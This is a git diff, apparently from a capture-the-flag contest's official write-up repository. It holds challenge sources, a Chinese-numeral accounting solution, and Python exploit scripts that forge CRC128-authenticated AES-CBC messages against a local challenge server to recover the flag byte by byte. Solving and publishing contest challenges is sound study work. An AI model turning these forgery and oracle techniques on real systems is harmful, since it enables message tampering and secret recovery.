z6R-6{L%z;7n2sIYidBK}`18XLGcgv`*H4aL1^K#*X`x3J%^NasQ}u1HfH|HnbYGsnXP!z`+IUy*_)!mQ6x6x*r8huxdYg&oNBy($CW{M@M(jR=Lt zIQ~*>j?P3JT+2>(*8KRY@I@s|%oFk)i@P7!6Bc^tbnM>14Vk%Vavb?w*HCCs>te=j zQVEohVBJXUZw;oId#uG*eng}tx$Us-^Q$Y$pvVjw>M8yoyg3N;!!>VrdJCV|OorP1 zOu$6><$d_WT3_6ksRuXX_v`C?BK}EDyTP@XRV+-ow7mKaXc&gTKAvfHw^766J(vFtf z4rhbO`!HNFhS(UP?VwLAia(hLwY3-`$L$#X01Jt_W%SCm-@>1g$Fhc4HKRL~+#duo zB;F*P1VUGr)Ne;I@u8j#ndG(L-yP5+ zjxM>JjQWUVB2k5m14YC;T1m4b@v4$wD@Wzo;U*iOliT`)Xeg&{e~!lNi=MPGL~1TE z0rW?=ExvVWo$evdnkwu}^nYv;6&NdSZ(1o-ZbJs%M+*MaJPMihk|qM^ZyC zHV&}>%?6eVfq?5Pm6$w6eK%L?@cR^a?K8B5XV>E0n0d$94XcB3f5R)<G}KH8J2mTda2v&=+gZ7H@#kN}*55KH7~ZetRENgz zfpq>TuIXie^^#t1G-ucN$S+gWz50THdO%THjqzWEYLS>G%CJNF)q`lz+|$=@C%Wqn zozkBw_oT&4V2)~)S-$L&ZiGyU=C04&)o*heyo%>(P3m`0d|v&^bSeIYf^|eXeRkN7 zNO=_Y_5Qoe@!whqA!o0=3QkeAa%&=XQ6Br{7lmZr?);-Hd@uKxaS*(xu ztz6hu#%yN41z)YfyZCl+e=*2?p9p;u8u&=86y?_lMe$BF_^I=bVRyeG2)GB zZqzlywA@i)-k+^3Kdy84Fu*n{5RW`QECXWZ#@$PMv3CI-`#_YE$J}S5%dd@fI&T&C zM9WRkQPi801O07yb6;7J(X21jKP?4IdtC@&*nT(~Tu*2a`erx!14ws;`W-mQd4Hob ziM24a6Nu(CxIOPj97Lmvd1o%`xGdU-eSKbUBaJ5rnAuvE&1t^;{k4j5_xNnJ;&5ru zB!3hlU;)u*Sc3bI&S`jg+?6+^7(5u0VxL?7c6I+>)ykDvH2Zg`D^)p_t1G0%kkJ`R zBN-Tp`pVA%l6_oyo#W*MOc$d0bJ|`5Z}^iuqLQqET!Q94-<5iq5Esx9vUQ z!#2Q@S{@@86wN*IE;llGH=d=>Q}l_&j;8SSQl#yOORhXyL_QmfV$OlR#uhfB`?R`}|hl%&j6I zE*hBmuMXRBE_soEdeVI8T5gnGuoMIl~lw z_h?K#`76=wnR0=5EU60R3KGP-?ff~VR*MH)a}j&*5NoCu)f7)Am!(7`3dIJ9jW{Zs z_GCUEDP}6&oio+w6Fo|o@DN_1V^%FPS}5AE`?30Y%+Rw~U0PiqW@#no0`^s2-e4!E z@X>hUyY|wWj8R%ZH&{Iw8bu4u1|+-(wk;w|y2h*Q&4!yH9YMn(rlRVZ{Ms066TVWO zI{(t%CIreE93(p_rG;s;!a^Srrkwq0p#{+Trt`1IahMNuy7<|*RcPOMJhf`ptd`AN3rQLMJx zxQ-jY3J8RqQYyk~Yt;s|^$p4_C%t%kYgE5~S9>kC*lU~u@Od)fK`6uHkYtHVE%K1& zhYPv&Bg0sHWG2FJJj_5MC$5_B8?}2G6v19!iiVYbi5`~v!qXh<+!4esNjX7vs z54%erPu*Ks)*EHND_@ZzL!+`};l11?d+Jg*}dpsJ8!m)EjfPdm;?-%^IlbtGN+$l2I*+($W`-i6A zLx$6p8kUaX`EhZVg+O|I&JBU(&=sbL+{WIFgcg1=pXenIWBvZlapAVKZSvfrH4U(#!4UP@9Op1*TzyMuu?~M`m`+B=b&9XV<-(9V?qTG?j_eli z$yV-V^C;ov>b@KeNr-CI8_FsSXLwP5=K=Wc^(gVaIFNUAI=tf@#N?Rz32`VJsCIo;-C$wy&&m~nh>(A+ltH12qJ*dkk&a#WUd$8CVd zsD_s}3X)9HLl*kFMeUsqqYPzdeb3ytKD5R-(DZy?P~`R+E6T=PY%MK#y1o2M28c() z1oJT{8+6CuGr09pjhJE?h4)0@)hu2cPCiJ&N^QK%XlMucWIg^QV)oP~>TK$(uv_{u z=+@Rg5&ia7$xlA3)X>G}Ik`4#gK`W-)O+I5qrWnJczx_1Sj_kl8C1dwq8?bQI5|&V<=n;pJ+S<2FBoEeo8(?-+vw@v2=_~$GriBDACND7FB}J z4qu?6SI`Dvvdy>PiFe9gvhR{5$o)a^;&X!530Jkdzn1^0rU^pBzobi_$reprCX%Qu zMMYge29V@7HX3`aZ9$U~(~v<`HXteq=_|e6J9LjZ*xz37r(*6XsUGSZKS=7cCOPt-1_V(m<%UOSF47(1?37_nyOwVAZ#kVr5Vkfd zGP@n^gmRC~ukG$hoRthm2{w;vw3|iYwoT`^sWwZs!1m(C$D*Ybi-T8vefIDV`}XVC zlo+<(rhk#zBn>pgcW2k~7qtACiFAd(PB^4pJ-3hx5&h5;8CW%a}HN2TQZZnp2mp#>;dt&x6RdgBsB}?riD}6^|p<_2D88OOq z;pjF|^sDMey~RtHH^sCYEA9{KE9!g=PG(!Kq%37@D`{d7dpx4rZkAEC>C3*Ttv+ zDn-P;LYk}4FTK#n-CxSdEmy*r)Ex+$cLWt_QZB3HDpmK|qT%3Agd@l2#u%OGycd zC_ET&7K?&)Cj3=x2tCfRJ%TmCX|$WP!J578(bFQMr(1rh(tg9)#GJOtT3Vh@YEO+&UQ;5#+bqNBta06ayLc|z!(onr|DNR!&>9LFH&fy` zUY~O4QWU0wn(-E+G+`$*E-*3NH^5+2RuQnb8zyBu%7;^Q--oUQ>d&oWcTI`7ZBBQ2~{GPpT3k?|0A6Mnmx1&a`Ak| zs?g{C)=9PV{@2~ybwCvCsZkamCEr&ODo>#kTK&~Mge3d zOFVcWl}w@i(SH?`(`M8)TK&V*qHH*SylPK11^^rQZ0D&Ua5dt&Qjpk-7r3Ftp8AaD zqwEuM7pa0aLC-Da)De6252Ye39Idy=VsBSdH#n3-ag?VB{_zQHKx&SJ>jSbs3v2&M zB0<22l!-k_5v)JRCjQrvKqUkgir<94dH(ps{@OM6H6VTlA&kcNM}*>^`^^T@qn>c3 z;ZN1jKSdoiYao!^Ke^iZ&)@v-RsPLSzVe_A-hab$&d2gUSMCmjMrzkSzQ+6Kwf$*x z5pjh}sb{D^H{9eO&wL#@A;sMT!}f2k@~=htm$&CPq#E54x)u267vX=d^Yu7V8Gb~Q zi2kSR{cCxst|Y*vY+zfF{a4TMnB~gvJ&OP0c~8(^fOuazbSyj$LkH(mC$QCzJl0&; z26Hq#DZY#<^+A?@NbCf#H(DS@p_R$qs9y$U2pMN|) zk;~(RtLubtV=T3HEB#4gKGP%RG5o@}xF0nS?64zg)r4KvTe^vlyD=Vw*z>`W_0L!8 z|Klf58cT>AA?92ZQz_SZOIC8`_t-SheOD;F=SJPHkf-CjatC@Px zHOa*QSuLH~9F_`VAp(-hXrQfOdWPzlvvcus3<)+9`$9ZOc@w_%+O7rONGIu z?Z$#GyFt22SAGyNHP*2t$e*Z(vuYVYnA1kWquEyO*igP*h}&u2x6*A3xd}yFdU=Q2 z-Y5eEo`xI78?TK-JhFsIWLL;K-fRA`8i4f@5kNzz4Wh@plz1ZtZDyy+nRY-8pp>IZ z2YR1S7+Y3B-fxP_YQJ`UO290o7Vl8C*g7?Uf}Oq{+oROK!Zb?@p&9SKC>=R#qw?Gwgx=NHS=6a0-H!8nv(;E1#=s}pcv++J zk=}It%?9-bIMy7oGoRKKsgPg2Wgq0}*1e#ZF0N%??s`z5@pyCK2J;IlH)q7OdPk1w z*f*7Jy8#m2NotAZ(QjCuuycs62hCHTcM#OGuJ^@=$$p-TU%HK)Y5s(Xum(Dp>6Owk zHo{%LU?KbEn@&5w`eXeU#Loy%!x5$FaJ>JqGPL2jk;1~WZ(@oRI?iq)1#{yYfkVup;PlXlpZ7A4a63h-~E1>&3N-# zhHCNGg;1o2SvbWm(}TbE5`=QLAk>Q4bon621*sDTf%3~CnBe*JI_rVbCDlPjOnhSM ze?)DSyGm%ftUR~*hNSg!-EC1Mz{(qkLn=*v1X6?%FVe$3N-EI&gd<1Ju4*~7_+F*a z1G(mGRAk^f&22dRFZwlzGn{u2Qr$w!t=g?9GV5NyYXM0#=On;2!3FxC3widxT0~cg6tWu`4;5wL zxEV%H1#_x#6^cvjv?9M!5&}{;)R!Ki}a)tYK_0P@HsMN4;Ni+ z^GalG3rzeG;YPYMDP@D-cDt)|JQJjBgH9(t(N&w9Oa?L$0|V7&F&RLdhzgN#HuwHI z%1BS(g1-!t>_cGU2Y2NSR?TH6p7xcLz>@~b{-%!M(ij)p<$3KJJ#s4*ngSMf;x~W34IJRMb*O%Lh;|LE#VQ!NcKCg@z55LA8*t6Kw z_zo!461`+>(p4wVPCGI_lCwW_-d(;`;rboiKCvfo7)OYDW5q;3-s%r!H;A(SYE#h4z*p=_Iwbo#~ga1 zAH})(!$cr6wanA<|LU#8*95&I&gWVJ-(R!T!25sNyYhdi z_x+y)AsK|0bY+gm#CWk{W;B`<>PD2q5i%zAYbsC< z^5+lrMb}WiugU1fMDD3M&#`)~1p97Q`l-w^b(X9Ydas6HUOy-N0L?sPFHey+>&RVd ziq+1u4Azk`?!4Zd0IJ}@lmfH-NwK5`1~#dufLvm_9Ik??x-lc*#~rs^$ZNQy*yv{o zfd;A2vVsSi<@#e;pFn3UK8v=TuplIaJ$5vlQu^Xk#BxOY{nO@jkYK21jMl~27+u@J za)fK;cC&y!;wrMsd&U4!_eGy}R)YpMeCw;bnT!@i?Fu~W8zppVEcje%ms7pE_=Uc| z>GlBDk9h#;;nft4YXMFZ&FV>-4Hc}G{qBxh6}A?|jaIR84oZ$A_0#UStla#C2VI&c zP}jJei*CVQ!7*B*8HP@?x9alvSJ|mB2+&UsxB4P zbCVSTPdEZNl&caaLuMyi(~eJje#?S0{2?vYQYYQ`J`%XLxX{7APG2@^M?>@Oz8RO@5;U?R?OkPbi3`&A~C`f++Lkdj_9f zs^DtRH{1Xxt9mlTGEuqWt4qTn7a~0@%O5r*X*dw4bur%L=!HX#eH~`vX0O)2CW?Nv zoGk`$BKkzyGa%GIpJK>`^Xk0*ZdHJ3qNlN~csX^g3eJ7kO6drl2U*6rf{h{T&Jl5X{F>1L*r7s-NbztB!OFD>-r&kM+`T-n$>d|G9G*NrJC#w-kN+mk zaP)vJ&2cBw;gky0xgPzvyjp>GYPp zSZXV8{6)n|A2)S=EdQqO0|}eX>#y-`Vlj1O2#abC$5%wSYgP2-o!f~RS%S2@YLxSP zTG^){HqRd|moMxYzhQcJ=oi+5cZV=d|J?@pZ^`p)utJEy?y5olJ~e=)qh+(fbPu`^ z7OdTlLhe{hY{Vlm`eSpYmjo=88k)DEz_?=y<+ALWa!mqPJw}*zH{b5zt+f&cIQOc= zv0n9OVxriwx^Qqcm96+F?_%#uE4zz*DQ&O)QC%snk_@D!wRv4E?`@O)ZT+;LqL0m6 zC3EgGKjh*u(~}gGx3t1uuZ4D>{r=6$)`lSAGMzyimM3W)5hAK2ZcDnfdg|t&h3&fQ zXAC=);L~cgltHrKkMYs{lA{r)Y;<$qJsxZd`1f4Hl$zHYTBcQPoFT-7?L?M-R^qk| z+wQQSXNrjzeM09}qqWK-mE_A2j;XB)71^t=e0TV(Wdp8@UWG^!6x@nt@MAng(8pj^ z0d?yUs0=|R)<`22uMc1vh5;5;H*PG3AZejlWnvaw31Mnp_|jEy{VNcG_9x+$mH7gn z?*(Em#L5w5oJ$JC-zhTZzAbBtR}Rqe5?;L@D2#zU>je~zj>Q^rLgx<8?6KH6G#gu? ztK-rOt1{6W8|18=cFY!MplxV~pD(4z<|%=im_5Xp^Vt(OuSRsRD!N0n;*(7br|1v@MV*Q9pmYdrX378j@Bf~If5zmWG5LRxqyHEfSSL#8Z&Bs{ z@xz~EPyYL~fsa@V*b4FYHjcSgJv()khpShn2TJ|;rKGL^;#7au==mNd6+wU*RRk|Y zIZ)cYclxNI?sWtS$q{QTu-eI4G--V4^Yx|IDO^AKw+}AUY*{AOPzGQCfX-I?A|>NI zIGd9Z7;sp=IZ2ijEpHcl8L^ll!fBH2@t$H%LDwze1Nnq%eEE}@)o*VuH7A3u43#St z>ApdCP&(y5=ju1{A@#D0A)P!AVjNYVyA$41S}aIm7V){rYY2>`lqV>Npb$E@GN5?r zBWuf8=(aV+2bvqgDG!$>k)8g6kl?c9dv|{1Cdj(Rx?MOA3N&yY6zz3!@l6OgAO59r zej{@wf){QX@V3G0^fJ@A!O)?|%uR}v0vnZwNCIV60%V(^at6d7JnAwMRsp3jYtZFmPet6=kMJU`?XF7=<-!BAY)oixDqy+ZP9v%X+Ycm!*?5RvZKX5d<8=^|+Yei^BrCnZ*TP09m9Kv`7- z9!tXu$(QRF3zuiS6Ez|~)SuW(jnaXdgMydL0>#G9gL@m_QX6T+2mvdPBR-W@=B<8C zNgf~oLNTA6nCl|?b)o;90L0f0JtNoJ`tMe7;?F_{E#7HaCwtjUT(iI)rc1dRthk9p z!?~ecXWNR6l}Yg|8#{JCM$S-xE~CyMu#{d%LcsLwKxw`6x0gnJ1-5OiPt?P^XZFWa z$uiM#Ap<{tvvDuQfzK-fC*GL;2QXCXeO~XXPmw~wPN7-FbeNNMalp?!&U<0}0-tkK zOPmj*3&v|LThG1}+u$4ub^&To?mibDrOm;7GcDBzUFuhOcoF38z&q|tlAYOzJl&HF z17522;ff#zH<)nm!2_99yVn2&<@7c%+8!}mOaVX*mfmmb?jSy5ol{o{OFK6?s#A*m0yCGPcm%l zkv6#SyH&+NBwqbPo!g~lR9-{>Nm zw%56QW$bnf(x0XFl!Ec&&_S^qW+raKP0C=8o@rampt(I|u4wyiH6)ox%U@l}<#bFT zWk@LVUAOl&Jeh2QosKroJRoOESIm%hq{UbB&MrnpQswwjO89L%3izawSL=YO|9yRl zcwh!$PJ$ugbAI7W^2ah6a=@)UoSdBTsaYIARC#*nLJR?vOYXAPD6Y-!KkaoyjqmOH zGhLuDM(7ihV$kY620@Rv_U<71Nl%%(UFf9=3ULXETpLr1R?wB&f^$>I&uPNxqyRuSTVds!4H&hYT&keeiax%m2hfc6nD|*K2(keb%y(t zYNxs5lRDzLdi|U!p&2^rRODG#$Hys^Oa=A0Uw};jwJg_hgCKx#Ih>Is6_Q=;Ct3unKM6@2pvWJ35_EHy&kR+7-e5}^V&6CP=E9uQGyR-cm`6W`%B$cO>k%M@iyMiFMoEVt{I;d66=kjR zu!sV~0#6+oCrfeA6bONls4@=^4;m|D!<=n~;?A1V?EYWA8-Jhyvpx!0MDgm_N|j}Y z9+@UCzXuH85yyLe{DWO_>et)(U5VXu18;)BBwNb-Iut1qm4jj>9Ea&bdItPmrfYF* z+AmodrbdKIN=s9*N~WD3-%Y9ad>}pN&@+~CTbk05PQtem4g#XBR?BbsxJZ6n1M{QfbU+Z0bQwwJltic<+*JPy7NqeJsa3Xbbu6AKnsu7pnY zt^-%b^W2X8Vj{~sS?p0P#_U6IV4C$6L06e>rvh& zro&a_)9~{k|F60G>$lW-aM)69JRIkubggX?CYbt*EVjnNKp7%2hWA+~rY$`ooqfOL zR`Qu`C@OI%Ar#5;$WY`DY(6XX$ywIF;aore*5?jTSh)KSF>_Eh)`v;)xzhF)y}uOj zrZ3JB|K1XR4eQTYFbV{k&ih#p=h;l{w}Rnpjt3JR>W8^K-962(zfd~CH=j$T1If-h z8eTL}%0-aR3h@;z*fNv2kiRdCpFKf>HNvA> 1) ^ (0xB595CF9C8D708E2166D545CF7CFDD4F9 & -(crc & 1)) + return (crc ^ ((1 << 128) - 1)).to_bytes(16, "big") + +def construct(offset, tail, target): + length = (offset + tail) * 8 + 128 + crc = ((int.from_bytes(target, 'big') ^ ((1 << 128) - 1)) << length) ^ ((1 << 128) - 1) + for _ in range(length): + crc = (crc >> 1) ^ (0xB595CF9C8D708E2166D545CF7CFDD4F9 & -(crc & 1)) + length = tail * 8 + 128 + crc <<= length + for i in range(length): + if crc & (1 << (128 + length - i - 1)): + crc ^= (0xB595CF9C8D708E2166D545CF7CFDD4F9 * 2 + 1) << (length - 1 - i) + msg = crc.to_bytes(16, "little") + return b'\x00' * offset + msg + b'\x00' * tail + +l = len(enc(b'', b'')) +payload = b'' +while len(enc(b'', payload)) == l: + payload += b'a' +flaglen = l + 16 - 16 - 16 - 16 - 7 - 21 - len(payload) +print(flaglen) + +flag = b'' +for i in range(flaglen): + namelen = 16 - (7 + 21 + flaglen - len(flag)) % 16 + 1 + 16 + prefixlen = 7 + namelen + 21 + flaglen - len(flag) - 1 + assert prefixlen % 16 == 0 + ct = enc(namelen * b'a', b'a' * 16) + blk = ct[prefixlen + 16: prefixlen + 16 + 16] + for c in range(256): + blk_p = (bytes([c]) + flag + b'a' * 15)[:16] + blk_iv = ct[prefixlen: prefixlen + 16] + change = xor(xor(xor(b"Thanks aaaaaaaaa", blk_p), ct[:16]), blk_iv) + xor(blk, ct[16:32]) + new_iv = xor(ct[:16], construct(0, 16, crc128(change))) + payload = new_iv + blk + ct[32:] + if check(payload): + flag = bytes([c]) + flag + print(flag) + break + else: + print('not found') + exit(-1) diff --git a/official/中间人/src/mitm_exp3.py b/official/中间人/src/mitm_exp3.py new file mode 100644 index 0000000..9ad7a19 --- /dev/null +++ b/official/中间人/src/mitm_exp3.py @@ -0,0 +1,109 @@ +import os +os.environ['PWNLIB_NOTERM'] = "true" +from pwn import remote +from sage.all import * + +# context.log_level = 'debug' + +r = remote('127.0.0.1', 10041) + +r.recvuntil('token: ') +r.sendline('这里填写你的 token') + +r.recvuntil('? ') +r.sendline('3') + +def enc(name, extra): + r.recvuntil('? ') + r.sendline('Alice') + r.recvuntil('? ') + r.sendline(name.hex()) + r.recvuntil('? ') + r.sendline(extra.hex()) + r.recvuntil(':\n') + return bytes.fromhex(r.recvline().decode().strip()) + +def check(cipher): + r.recvuntil('? ') + r.sendline('Bob') + r.recvuntil(': ') + r.sendline(cipher.hex()) + reply = r.recvline() + return b'Thanks' in reply + +assert check(enc(b'abc', b'def')) + +# 16 IV +# 7 text +# ? name +# 21 text +# flag +# ? extra +# 16 crc128 +# 16 padding + +def xor(b1, b2): + return bytes([x ^ y for x, y in zip(b1, b2)]) + +def crc128(msg): + crc = (1 << 128) - 1 + for b in msg: + crc ^= b + for _ in range(8): + crc = (crc >> 1) ^ (0xB595CF9C8D708E2166D545CF7CFDD4F9 & -(crc & 1)) + return (crc ^ ((1 << 128) - 1)).to_bytes(16, "big") + +l = len(enc(b'', b'')) +payload = b'' +while len(enc(b'', payload)) == l: + payload += b'a' +flaglen = l + 16 - 16 - 16 - 16 - 7 - 21 - len(payload) +print(flaglen) + +N = 150 + +flag = b'' +while len(flag) < flaglen: + namelen = 16 - (7 + 21 + flaglen - len(flag)) % 16 + 1 + 16 + 16 * N + prefixlen = 7 + namelen + 21 + flaglen - len(flag) - 1 + assert prefixlen % 16 == 0 + ct = enc(namelen * b'a', b'a' * 32) + blk_flagprev_c = ct[prefixlen: prefixlen + 16] + blk_flag_c = ct[prefixlen + 16: prefixlen + 16 + 16] + blk_flagnext_c = ct[prefixlen + 32: prefixlen + 16 + 32] + blk_flagnext_p = (b'_' + flag + b'a' * 32)[16:32] + changes = [] + strs = [] + for i in range(N): + blk0_c = ct[16 * i + 16: 16 * i + 16 + 16] + blk1_c = ct[16 * i + 32: 16 * i + 16 + 32] + blk1_p = b'a' * 16 + change = xor(xor(xor(blk0_c, blk1_p), blk_flag_c), blk_flagnext_p) + xor(blk1_c, blk_flagnext_c) + strs.append(b'\x00' * 16 * (i + 1) + change + b'\x00' * 16 * (N - 1 - i)) + changes.append(crc128(strs[-1])) + A = Matrix(GF(2), 128, N) + for i in range(128): + for j in range(N): + A[i, j] = (int.from_bytes(changes[j], 'big') >> i) & 1 + for c in range(256): + blk_flag_p = (bytes([c]) + flag + b'a' * 32)[:16] + target = xor(xor(xor(b"Thanks aaaaaaaaa", ct[:16]), blk_flagprev_c), blk_flag_p) + xor(ct[16:32], blk_flag_c) + target_str = target + b'\x00' * 16 * N + target = crc128(target_str) + + B = vector(GF(2), 128) + for i in range(128): + B[i] = (int.from_bytes(target, 'big') >> i) & 1 + result = A.solve_right(B) + + # x = b'\x00' * 16 * (N + 1) + # for i in range(N): + # if result[i]: + # x = xor(x, strs[i]) + # assert crc128(x) == target + + payload = ct[:16] + blk_flag_c + b''.join(blk_flagnext_c if result[i] else ct[16 * i + 32: 16 * i + 16 + 32] for i in range(N)) + ct[16+16+16*N:] + if check(payload): + flag = bytes([c]) + flag + print(flag) + break diff --git a/official/中间人/src/utils.py b/official/中间人/src/utils.py new file mode 100644 index 0000000..12fd9d1 --- /dev/null +++ b/official/中间人/src/utils.py @@ -0,0 +1,33 @@ +from Crypto.Cipher import AES + + +def pad(msg): + n = AES.block_size - len(msg) % AES.block_size + return msg + bytes([n]) * n + + +def unpad(msg): + assert len(msg) > 0 and len(msg) % AES.block_size == 0 + n = msg[-1] + assert 1 <= n <= AES.block_size + assert msg[-n:] == bytes([n]) * n + return msg[:-n] + + +def xor(b1, b2): + return bytes([x ^ y for x, y in zip(b1, b2)]) + + +def crc128(msg): + crc = (1 << 128) - 1 + for b in msg: + crc ^= b + for _ in range(8): + crc = (crc >> 1) ^ (0xB595CF9C8D708E2166D545CF7CFDD4F9 & -(crc & 1)) + return (crc ^ ((1 << 128) - 1)).to_bytes(16, "big") + + +def hmac_crc128(key, msg): # RFC 2104 + opad = b"\x5c" * 16 + ipad = b"\x36" * 16 + return crc128(xor(key, opad) + crc128(xor(key, ipad) + msg)) diff --git a/official/从零开始的记账工具人/README.md b/official/从零开始的记账工具人/README.md index 6319d0a..9f5bfe3 100644 --- a/official/从零开始的记账工具人/README.md +++ b/official/从零开始的记账工具人/README.md @@ -1 +1,68 @@ # 从零开始的记账工具人 + +这道题考察选手基本的编程处理数据的能力,常见的编程语言都可以编写出解题代码。 + +## 解法 1 + +手工计算(听说真的有同学是这样做的?) + +## 解法 2 + +使用任意文本编辑器(或者 Excel 本身)做字符串替换,替换规则如下: + +``` +'零' -> '' +'壹' -> '1' +'贰' -> '2' +'叁' -> '3' +'肆' -> '4' +'伍' -> '5' +'陆' -> '6' +'柒' -> '7' +'捌' -> '8' +'玖' -> '9' +'拾' -> '*10+' +'佰' -> '*100+' +'仟' -> '*1000+' +'元' -> '+' +'角' -> '/10+' +'分' -> '/100' +'++' -> '+' +'整' -> '' +``` + +然后如果开头有乘号或者结尾有加号,去掉即可,这样的数学表达式求值即可得到正确的结果。 + +## 解法 3 + +编程求解,这里使用 Python 语言。 + +我们首先使用 Excel(或者其他商业的、开源的、在线的电子表格工具)将下载的文件转换为 `.csv` 格式,即逗号分隔的文本。(当然,你也可以使用解析 Excel 文件格式的库来处理) + +然后在 Python 中安装 cn2an 这个中文数字转换的库: + +`python3 -m pip install cn2an` + +然后使用 Python 程序处理这个文件: + +```python +import cn2an +lines = open('bills.csv').readlines()[1:] +s = 0 +for line in lines: + a, b = line.strip().split(',') + n = 0 + if '元' in a: + y, a = a.split('元') + n += cn2an.cn2an(y, "smart") + if '角' in a: + y, a = a.split('角') + n += cn2an.cn2an(y, "smart") / 10 + if '分' in a: + y, a = a.split('分') + n += cn2an.cn2an(y, "smart") / 100 + s += n * int(b) +print(s) +``` + +最后输出的结果可能有一些浮点误差,自己四舍五入一下就好了。(更好的办法是使用整数来计算,但是我比较懒就不写了) diff --git a/official/从零开始的记账工具人/src/Dockerfile b/official/从零开始的记账工具人/src/Dockerfile new file mode 100644 index 0000000..507f4aa --- /dev/null +++ b/official/从零开始的记账工具人/src/Dockerfile @@ -0,0 +1,7 @@ +FROM tiangolo/uwsgi-nginx-flask:python3.8 + +RUN pip3 config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple +RUN pip3 install pyopenssl XlsxWriter cn2an +RUN echo 'wsgi-disable-file-wrapper = true' >> /app/uwsgi.ini + +COPY ./app /app diff --git a/official/从零开始的记账工具人/src/app/cert.pem b/official/从零开始的记账工具人/src/app/cert.pem new file mode 100644 index 0000000..8f777a4 --- /dev/null +++ b/official/从零开始的记账工具人/src/app/cert.pem @@ -0,0 +1,17 @@ +-----BEGIN CERTIFICATE----- +MIICwDCCAmagAwIBAgIUHo/UysuMf4+WAcChW3hM1NHDQDkwCgYIKoZIzj0EAwIw +gbYxCzAJBgNVBAYTAkNOMQ4wDAYDVQQIDAVBbmh1aTEOMAwGA1UEBwwFSGVmZWkx +HjAcBgNVBAoMFVVTVEMgTGludXggVXNlciBHcm91cDEhMB8GA1UECwwYVGhlIEhh +Y2tlcmdhbWUgQ29tbWl0dGVlMR0wGwYDVQQDDBRoYWNrLmx1Zy51c3RjLmVkdS5j +bjElMCMGCSqGSIb3DQEJARYWaGFja2VyZ2FtZUB1c3RjbHVnLm9yZzAeFw0yMDEw +MDgxNTIwMzZaFw0yMTEwMDgxNTIwMzZaMIG2MQswCQYDVQQGEwJDTjEOMAwGA1UE +CAwFQW5odWkxDjAMBgNVBAcMBUhlZmVpMR4wHAYDVQQKDBVVU1RDIExpbnV4IFVz +ZXIgR3JvdXAxITAfBgNVBAsMGFRoZSBIYWNrZXJnYW1lIENvbW1pdHRlZTEdMBsG +A1UEAwwUaGFjay5sdWcudXN0Yy5lZHUuY24xJTAjBgkqhkiG9w0BCQEWFmhhY2tl +cmdhbWVAdXN0Y2x1Zy5vcmcwVjAQBgcqhkjOPQIBBgUrgQQACgNCAAQcAwLQKJf1 +W8podrvryfX7GI3xEneVlEriKNh7ltLe35BfU405TSKVXOKZfxdukiUwKZUPOI4o +zqsAfklnl/Jco1MwUTAdBgNVHQ4EFgQUnHTMWSWk9BgfVDphGi/VhTH5zOYwHwYD +VR0jBBgwFoAUnHTMWSWk9BgfVDphGi/VhTH5zOYwDwYDVR0TAQH/BAUwAwEB/zAK +BggqhkjOPQQDAgNIADBFAiAtkdkJ6vO1abjJt5jCnRDHCnGHTPetOtAQ12Fr1fo1 +eQIhAO4T9HjFgSAP5Bg/bzeTS5jGvZAnN14e2sjllR6392J8 +-----END CERTIFICATE----- diff --git a/official/从零开始的记账工具人/src/app/main.py b/official/从零开始的记账工具人/src/app/main.py new file mode 100644 index 0000000..be66d67 --- /dev/null +++ b/official/从零开始的记账工具人/src/app/main.py @@ -0,0 +1,73 @@ +from io import BytesIO +from flask import Flask +from flask import request, render_template, redirect, url_for, session, make_response, send_file + +import OpenSSL +import base64 + +import xlsxwriter +import io +import cn2an +import random + +from secret import total_money, secret_key + +app = Flask(__name__) +app.secret_key = secret_key + +with open("cert.pem") as f: + cert = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, f.read()) + +@app.before_request +def check(): + if request.path.startswith('/static/'): + return + if request.args.get('token'): + try: + token = request.args.get('token') + id, sig = token.split(":", 1) + sig = base64.b64decode(sig, validate=True) + OpenSSL.crypto.verify(cert, sig, id.encode(), "sha256") + session['token'] = token + except Exception: + session['token'] = None + return redirect(url_for('index')) + if session.get("token") is None: + return make_response(render_template("error.html"), 403) + +@app.route('/', methods=['GET']) +def index(): + total = total_money(session['token']) + file = io.BytesIO() + workbook = xlsxwriter.Workbook(file) + worksheet = workbook.add_worksheet() + worksheet.write(0, 0, '单价') + worksheet.write(0, 1, '数量') + + random.seed(session['token']) + cut = set() + while len(cut) < 999: + n = random.randrange(1, total) + cut.add(n) + cut = [0] + sorted(cut) + [total] + + row = 1 + for start, end in zip(cut[:-1], cut[1:]): + total_price = end - start + price = total_price + count = random.randrange(2, 11) + if price % count == 0: + price //= count + else: + count = 1 + assert count * price == total_price + worksheet.write(row, 0, cn2an.an2cn(price / 100, "rmb")) + worksheet.write(row, 1, count) + row += 1 + workbook.close() + file.seek(0) + return send_file(file, attachment_filename="bills.xlsx", as_attachment=True) + + +if __name__ == '__main__': + app.run(host='127.0.0.1', port=10002, debug=True) diff --git a/official/从零开始的记账工具人/src/app/secret.py b/official/从零开始的记账工具人/src/app/secret.py new file mode 100644 index 0000000..e8681d2 --- /dev/null +++ b/official/从零开始的记账工具人/src/app/secret.py @@ -0,0 +1,6 @@ +import hashlib + +secret_key = b"613a8321a1190e281ff6ae91f7" + +def total_money(token): + return int(hashlib.sha256(('dc91ea2aa6c0'+token).encode()).hexdigest()[:5],16)+1000000 diff --git a/official/从零开始的记账工具人/src/app/static/bootstrap/css/bootstrap.min.css b/official/从零开始的记账工具人/src/app/static/bootstrap/css/bootstrap.min.css new file mode 100644 index 0000000..92e3fe8 --- /dev/null +++ b/official/从零开始的记账工具人/src/app/static/bootstrap/css/bootstrap.min.css @@ -0,0 +1,7 @@ +/*! + * Bootstrap v4.3.1 (https://getbootstrap.com/) + * Copyright 2011-2019 The Bootstrap Authors + * Copyright 2011-2019 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */:root{--blue:#007bff;--indigo:#6610f2;--purple:#6f42c1;--pink:#e83e8c;--red:#dc3545;--orange:#fd7e14;--yellow:#ffc107;--green:#28a745;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#6c757d;--gray-dark:#343a40;--primary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--font-family-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier 